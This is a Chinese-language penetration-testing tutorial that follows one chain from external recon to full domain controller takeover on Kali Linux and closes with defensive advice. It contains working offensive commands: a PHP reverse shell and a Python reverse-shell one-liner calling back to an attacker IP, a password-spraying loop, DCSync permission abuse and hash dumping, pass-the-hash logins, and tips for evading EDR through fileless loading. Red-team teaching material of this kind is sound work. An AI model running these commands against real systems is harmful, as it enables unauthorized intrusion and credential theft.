1. 项目概述与核心思路
最近在整理内部安全评估的复盘笔记,发现很多刚入行的朋友对内网渗透的整体链路理解比较碎片化,要么只会用Nmap扫一扫,要么拿到一个点就不知道怎么深入了。正好借着这次复盘,我把一次从外部入口点到最终拿下域控的完整攻击链梳理出来,所有步骤都基于Kali Linux,并附上每一步的详细命令和参数解释。这不仅仅是一个“命令集”,更重要的是理解每个环节的意图、可选的工具以及为什么这么做,这样才能在面对不同环境时灵活变通。无论你是负责红队演练、渗透测试还是想提升自己的防御视野,这条链路都能提供一个清晰的框架。
整个攻击链可以抽象为几个经典阶段:信息收集、外部突破、内网横向移动、权限提升、域环境渗透与最终控制。本次模拟的环境是一个常见的混合网络:一个对外提供Web服务的DMZ区服务器,通过它作为跳板进入内部办公网络,最终目标是位于核心区域的域控制器。我会重点拆解每个阶段的关键技术选型、命令细节以及实操中容易踩坑的地方。记住,工具是死的,思路是活的,所有命令都需要根据实际情况调整。
2. 第一阶段:外部信息收集与脆弱点定位
在发起任何测试之前,获得客户明确、书面的授权是绝对的前提。没有授权,下文所有操作都是非法的。获得授权后,我们首先需要划定测试范围,通常是一个IP地址或一个域名。假设我们的目标是
target-company.com
。
2.1 基础信息枚举
首先进行被动信息收集,避免过早触发目标的告警系统。这里主要利用公开资源。
子域名发现 :子域名往往能暴露测试、开发、备份甚至管理后台等不那么显眼的入口点,这些入口点的安全防护可能较弱。
# 使用 assetfinder 收集子域名
assetfinder --subs-only target-company.com > subdomains.txt
# 使用 subfinder (速度更快,源更多)
subfinder -d target-company.com -o subdomains_subfinder.txt
# 合并去重
cat subdomains*.txt | sort -u > final_subdomains.txt
实操心得
:不要只依赖一个工具。我会将
assetfinder
、
subfinder
、
amass
甚至
sublist3r
的结果合并,再进行去重,这样覆盖面最广。有时候,一个不起眼的
dev.target-company.com
或
test.target-company.com
就是整个内网的突破口。
端口与服务扫描 :确定存活主机和开放端口是必经之路。我习惯分层次进行扫描。
# 1. 快速存活扫描,使用ping和TCP SYN扫描,速度快
sudo nmap -sn -PS22,80,443,3389,445 -iL final_subdomains.txt -oA alive_hosts
# -sn: 不进行端口扫描,只做主机发现
# -PS: TCP SYN Ping,探测指定端口
# -iL: 从文件读取主机列表
# -oA: 输出所有格式(nmap, gnmap, xml)
# 2. 对存活主机进行全端口扫描,这是耗时最长的步骤,但至关重要
sudo nmap -p- -sS -T4 --min-rate 1000 -iL alive_hosts.gnmap -oA full_port_scan
# -p-: 扫描所有65535个端口
# -sS: TCP SYN扫描,半开连接,相对隐蔽
# -T4: 时间模板,平衡速度和隐蔽性
# --min-rate 1000: 每秒至少发送1000个包,加速扫描
# 3. 对发现的开放端口进行服务和版本探测
sudo nmap -sV -sC -O -p `cat open_ports.txt` -iL alive_hosts.gnmap -oA service_version_scan
# -sV: 版本探测
# -sC: 使用默认脚本进行漏洞探测
# -O: 操作系统探测
# `cat open_ports.txt`: 假设我们已经从全端口扫描结果中提取了所有开放端口,合并成一个字符串如 “80,443,8080,22”
注意 :全端口扫描在网络中流量特征非常明显,务必在授权允许的时间窗口(如业务低峰期)进行。
-T4和--min-rate会显著增加扫描速度,但也会增加被IPS/IDS封禁的风险。在敏感环境中,可以考虑使用-T2或-T3,并分散扫描源IP。
2.2 Web应用重点侦察
对于开放的80、443、8080、8443等Web端口,需要深入侦察。
# 使用 Gobuster 进行目录和子目录爆破
gobuster dir -u https://target-company.com -w /usr/share/wordlists/dirb/common.txt -t 50 -x php,html,js,bak,old
# dir: 目录爆破模式
# -u: 目标URL
# -w: 字典路径
# -t: 线程数
# -x: 尝试的扩展名
# 使用 Nikto 进行快速漏洞扫描
nikto -h https://target-company.com -o nikto_scan.html
常见问题
:Gobuster跑不出结果?可能是字典不对或目标有WAF。尝试更换更全面的字典,如
directory-list-2.3-medium.txt
,或者使用
ffuf
,它性能更强,过滤规则更灵活。Nikto的扫描结果通常有很多误报,需要人工逐一验证,但它能快速给出一个风险概览。
3. 第二阶段:初始突破与立足点获取
假设通过信息收集,我们发现
webapp.target-company.com
存在一个登录界面,并且通过目录扫描发现了
/backup/
目录,里面有一个
www.zip
的网站备份文件。
3.1 源码泄露与漏洞分析
下载并分析备份文件,是白盒测试的绝佳起点。
wget https://webapp.target-company.com/backup/www.zip
unzip www.zip
在源码中,我们发现了以下关键信息:
-
数据库配置文件
config.php:硬编码了数据库连接字符串mysql://webapp_user:SuperSecretPass123@192.168.10.5:3306/webapp_db。 -
这是一个内网IP
192.168.10.5,说明Web服务器可以访问内部网络。 -
密码
SuperSecretPass123可能在别处复用。
3.2 利用漏洞获取Shell
进一步审计源码,发现一个文件上传功能未对文件类型做严格检查,仅在前端用JS验证。我们可以直接上传一个PHP Webshell。
# 制作一个简单的PHP反向Shell (reverse_shell.php)
# 内容如下:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.0.0.100'; // 你的Kali IP
$port = 4444;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
...
// 此处是标准的PHP反向Shell代码,篇幅所略
?>
在Kali上启动监听:
sudo nc -nvlp 4444
然后通过Burp Suite拦截上传请求,修改文件扩展名或内容类型,上传
reverse_shell.php
。访问上传后的文件,成功在Kali的nc监听器上获得一个反向Shell连接。
connect to [10.0.0.100] from (UNKNOWN) [203.0.113.10] 45678
Linux webserver 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
www-data@webserver:/var/www/html/uploads$
踩坑记录
:获得的Shell往往是“哑巴Shell”,没有交互能力,按上箭头键会出现
^[[A
乱码,也无法运行
su
等命令。必须立即进行Shell升级。
# 在获得的Shell中执行
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 或者如果只有python
python -c 'import pty; pty.spawn("/bin/bash")'
# 然后按 Ctrl+Z 挂起
# 在Kali终端中输入
stty raw -echo; fg
# 最后重置终端
reset
现在,我们有了一个相对稳定的Shell,用户是
www-data
。
4. 第三阶段:内网横向移动与信息搜集
拿到第一个立足点(跳板机)后,工作重心转向内网。首要任务是绘制内网地图并搜集凭证。
4.1 内网主机与端口发现
从跳板机内部进行扫描,比从外部扫描更直接,能发现更多不对外暴露的服务。
# 1. 查看当前网络配置,确定网段
ip addr show
cat /etc/networks
# 假设发现内网网卡 IP: 192.168.10.10/24
# 2. 使用跳板机上的工具进行内网扫描(如果已安装nmap)
nmap -sn 192.168.10.0/24
# 如果没有nmap,可以用简单的shell脚本
for i in {1..254}; do ping -c 1 -W 1 192.168.10.$i | grep "from" & done
# 3. 对关键IP(如DC可能的IP段、数据库IP)进行端口扫描
# 将nmap静态二进制文件上传到跳板机(如果目标机没有)
# 在Kali上:cp /usr/bin/nmap .
# 在跳板机Shell中,使用Python的SimpleHTTPServer或wget从Kali下载
python3 -m http.server 8000
# 在跳板机Shell中:wget http://10.0.0.100:8000/nmap
chmod +x nmap
./nmap -sS -p 22,80,135,139,445,3389,5985,5986 192.168.10.1-50
注意事项 :内网扫描同样要控制节奏。大量并发扫描可能触发内网安全设备(如HIDS)的告警。建议分批次、分时段进行,优先扫描高价值目标(如DNS服务器、文件服务器、管理终端)。
4.2 凭证搜集与密码复用
这是横向移动的关键。利用之前发现的数据库密码
SuperSecretPass123
。
# 1. 尝试SSH密码复用
# 在跳板机上安装或使用已有的sshpass
for ip in $(cat found_ips.txt); do
sshpass -p 'SuperSecretPass123' ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no user@$ip "hostname" && echo "[+] $ip - Success with user:user" >> success.txt
sshpass -p 'SuperSecretPass123' ssh -o ConnectTimeout=3 -o StrictHostKeyChecking=no administrator@$ip "hostname" && echo "[+] $ip - Success with user:administrator" >> success.txt
done
# 2. 尝试SMB/WinRM密码复用(如果发现Windows主机)
# 使用 crackmapexec,这是内网渗透的神器
# 在Kali上运行,指定跳板机作为代理,或者将工具上传至跳板机(如果是Windows跳板机,可用其Windows版本)
crackmapexec smb 192.168.10.0/24 -u 'administrator' -p 'SuperSecretPass123' --local-auth
# --local-auth: 尝试本地管理员账户,而非域账户
crackmapexec winrm 192.168.10.0/24 -u 'administrator' -p 'SuperSecretPass123'
运气好的话,我们发现一台IP为
192.168.10.20
的Windows服务器(可能是一台文件服务器或应用服务器)的本地管理员账户使用了相同的密码。
4.3 建立持久化通道与代理
直接通过Web Shell操作不稳定,我们需要建立一个更可靠、功能更全的通道。
# 1. 在跳板机(Linux)上上传并运行SOCKS代理工具,如frp或ew
# 以frp为例,在Kali(服务端)配置 frps.ini
[common]
bind_port = 7000
# 在跳板机(客户端)配置 frpc.ini
[common]
server_addr = 10.0.0.100
server_port = 7000
[socks5_proxy]
type = tcp
remote_port = 1080
plugin = socks5
# 运行后,我们就在Kali上拥有了一个通过跳板机访问内网的SOCKS5代理(127.0.0.1:1080)
# 2. 配置Proxychains,让所有工具流量都走这个代理
vim /etc/proxychains4.conf
# 在末尾添加
socks5 127.0.0.1 1080
现在,我们可以使用
proxychains
前缀来让任何命令行工具通过代理访问内网资源,例如
proxychains nmap -sT -Pn 192.168.20.10
。
5. 第四阶段:域环境渗透与权限提升
通过
crackmapexec
,我们确认
192.168.10.20
是一台已加入域的计算机,主机名
FILESRV01
,域名
CORP.LOCAL
。我们的目标转向域控制器。
5.1 域内信息枚举
首先,我们需要了解域的基本结构。
# 通过已攻陷的主机,使用Windows自带的命令或上传PowerShell脚本
# 方法A:使用impacket套件中的工具,从Kali通过代理发起查询
proxychains python3 /usr/share/doc/python3-impacket/examples/samrdump.py CORP.LOCAL/administrator:SuperSecretPass123@192.168.10.20
# 此命令可能失败,因为密码错误或权限不足
# 方法B:在已控的Windows主机上执行命令(通过WinRM或psexec)
# 使用crackmapexec执行命令
crackmapexec winrm 192.168.10.20 -u 'administrator' -p 'SuperSecretPass123' -X 'whoami /groups'
# 确认我们是否有域用户权限
# 如果获得了域用户凭证,可以使用 bloodhound-python 收集域内关系数据
proxychains bloodhound-python -d CORP.LOCAL -u '域用户名' -p '域用户密码' -ns 192.168.10.1 --zip
# -ns: 指定域名服务器IP
# --zip: 打包成zip文件
将生成的zip文件导入到Kali上的BloodHound图形化界面中,可以直观地看到用户、组、计算机之间的复杂关系,特别是“通向域管理员的最短路径”。
5.2 利用域内漏洞提权
BloodHound分析显示,我们当前控制的
FILESRV01$
计算机账户所在的组,对域内某个OU具有“写入DACL”的权限,这允许我们修改该OU内对象(比如一个用户)的权限,进而为该用户添加“复制目录更改”的权限(DCSync),从而可以导出域内所有用户的哈希。
实施步骤:
- 添加一个域用户 (如果我们还没有)或利用一个现有低权限用户。
- 授予该用户DCSync权限 。
- 利用DCSync导出域哈希 。
# 步骤1&2:使用 impacket 的 dacledit.py 脚本(需要域用户凭证和特定权限)
# 假设我们通过某种方式(如LSASS内存转储)获得了另一个域用户的凭证 user1:Password123
proxychains python3 /opt/impacket/examples/dacledit.py -action 'write' -rights 'DCSync' -principal 'user1' -target-dn 'OU=Servers,DC=CORP,DC=LOCAL' 'CORP.LOCAL/administrator:SuperSecretPass123@192.168.10.20'
# 这个命令非常复杂且高度依赖环境,实际中更常用的是使用PowerShell的PowerView模块
# 更通用的方法是:在已控的Windows主机上执行PowerShell命令
# 上传 PowerView.ps1 后,在PowerShell中执行
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity user1 -Rights DCSync
关键原理 :DCSync是域控制器复制数据时使用的协议,拥有此权限的用户可以模拟域控制器,向其他DC请求同步用户密码哈希数据。这是获取域管哈希的最有效方法之一。
# 步骤3:使用 secretsdump.py 执行DCSync攻击
proxychains python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -dc-ip 192.168.20.1 -just-dc-user 'administrator' 'CORP.LOCAL/user1:Password123@192.168.20.1'
# -dc-ip: 指定域控制器IP
# -just-dc-user: 只导出指定用户(如域管理员)的哈希
# 如果成功,将返回域管理员账户的NTLM哈希(例如:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0)
重要警告 :DCSync攻击动静极大,会直接在域控制器的事件日志中产生明显的告警事件(ID 4662)。在真实的红队评估中,这通常是收尾前的“雷霆一击”,需要协调好时间。
5.3 哈希传递与域控控制
拿到域管理员的NTLM哈希后,我们无需破解密码,可以直接使用“哈希传递”攻击登录域控制器。
# 使用 wmiexec.py 进行哈希传递,获取域控的Shell
proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'CORP.LOCAL/administrator@192.168.20.1'
# 执行后,将获得一个具有域管理员权限的交互式Shell
# 或者使用 crackmapexec 验证权限并执行命令
proxychains crackmapexec smb 192.168.20.1 -u 'administrator' -H '31d6cfe0d16ae931b73c59d7e0c089c0' -d 'CORP.LOCAL' -x 'whoami'
至此,我们已经完全控制了域控制器,可以导出所有域用户哈希、创建黄金票据、安装后门等。
6. 常见问题、排查技巧与防御思考
在实际操作中,绝不会像实验室环境一样顺利。以下是一些常见问题及排查思路。
6.1 扫描与连接问题
问题1:Nmap扫描速度极慢或无结果。
-
排查
:检查网络连通性
ping;使用-Pn参数跳过主机发现(假设主机存活);降低扫描强度-T2;检查是否有防火墙丢弃了ICMP或特定端口的数据包。 -
技巧
:对于大型网络,先使用
masscan进行极速的全端口扫描确定开放端口,再用nmap进行精细的服务和版本探测。masscan -p1-65535 10.0.0.0/8 --rate=1000 -oG masscan.out。
问题2:反向Shell连接成功但立即断开。
-
排查
:可能是目标出口防火墙或本机入站防火墙规则限制了连接。尝试使用更常见的端口(如443、53、80)进行反弹。使用
nc -nvlp 443监听,并在Webshell中使用python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.100",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'。 -
技巧
:使用加密的、更稳定的反向Shell工具,如
msfvenom生成meterpreter载荷,或使用socat。
6.2 横向移动与权限问题
问题3:密码复用攻击不成功。
- 排查 :密码可能已更改;目标系统启用了网络访问保护(如NLA for RDP);账户被锁定或禁用。
-
技巧
:不要只尝试一个密码。利用之前信息收集阶段可能找到的邮箱、文档、配置文件中的密码字典进行尝试。使用
hydra或medusa进行更系统的爆破,但要注意锁定策略。
问题4:无法在域内执行BloodHound数据收集。
- 排查 :当前用户权限不足;目标主机防火墙阻止了必要的端口(如LDAP的389/636,SMB的445);网络策略服务器(NPS)有访问限制。
-
技巧
:尝试使用不同的收集器,如
SharpHound.exe(Windows原生二进制文件),它可能绕过一些应用白名单。如果网络不通,可能需要先进行端口转发。
6.3 后渗透与持久化问题
问题5:获得的权限被安全软件拦截或清除。
- 排查 :EDR/AV检测到了恶意进程或行为。
-
技巧
:使用“无文件”攻击、内存执行、进程注入、合法软件白名单劫持(LOLBAS)等技术。例如,使用
msfvenom生成shellcode,通过PowerShell反射加载到内存中。定期创建多个持久化后门,分布在不同的位置和方式上。
6.4 从攻击者视角看防御
走完整个攻击链,最大的体会是:防御必须体系化,任何一个薄弱环节都可能被突破。
- 边界防御 :严格限制对外开放的端口和服务,定期进行漏洞扫描和修复。Web应用防火墙能有效阻挡自动化扫描和常见Web攻击。
- 强身份认证 :杜绝弱口令和密码复用。启用多因素认证,特别是对VPN、邮箱、关键服务器等入口。
- 网络分段与微隔离 :将网络划分为不同的信任区域(如互联网、DMZ、内网、核心区),区域间通过防火墙严格控制访问。即使Web服务器被攻陷,攻击者也不能直接访问核心数据库或域控。
-
最小权限原则
:无论是用户账户还是服务账户,只赋予其完成工作所必需的最小权限。定期审计权限分配,特别是像
DCSync、AdminSDHolder修改这类高危权限。 - 日志监控与威胁狩猎 :集中收集和分析日志。攻击链中的很多步骤(如异常登录时间、大量扫描流量、DCSync事件)都会产生日志告警。不能只依赖自动告警,需要主动进行威胁狩猎,寻找潜伏的迹象。
- 终端检测与响应 :在服务器和终端上部署EDR,能够检测和阻止进程注入、凭证窃取、横向移动等恶意行为。
这条攻击链展示了一次理想化的、阻力较小的渗透过程。现实中,企业网络往往更复杂,防御措施也更完善。但理解攻击者的完整思路和工具链,是构建有效防御的基石。每次测试后,除了修复具体漏洞,更要思考如何打破整个攻击链条,提升整体的安全水位。

640

被折叠的 条评论
为什么被折叠?



